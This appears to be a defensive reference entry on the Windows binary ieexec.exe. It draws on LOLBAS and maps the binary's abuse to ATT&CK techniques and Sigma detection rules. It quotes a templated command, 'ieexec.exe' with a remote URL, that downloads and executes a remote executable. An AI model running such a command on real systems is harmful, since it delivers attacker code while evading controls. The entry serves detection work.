Identifier / Programs / Windows
ieexec.exe
LOLBAS Download, Execute 3 Sigma rules name it 2 ATT&CK techniques 2 documented commands
How ieexec.exe is abused
Download T1105 Ingress Tool Transfer
Execute T1218 System Binary Proxy Execution
Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for ieexec.exe.
2 documented commands
Download T1105 Ingress Tool Transfer User privileges
Downloads and executes executable from the remote server.
ieexec.exe {REMOTEURL:.exe}Trips 1 Sigma rule: highFile Download And Execution Via IEExec.EXE by Nasreddine Bencherchali (Nextron Systems)
Execute T1218 System Binary Proxy Execution User privileges
Downloads and executes executable from the remote server.
ieexec.exe {REMOTEURL:.exe}Trips 1 Sigma rule: highFile Download And Execution Via IEExec.EXE by Nasreddine Bencherchali (Nextron Systems)
All 2 commands the identifier reads trip a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for ieexec.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for ieexec.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.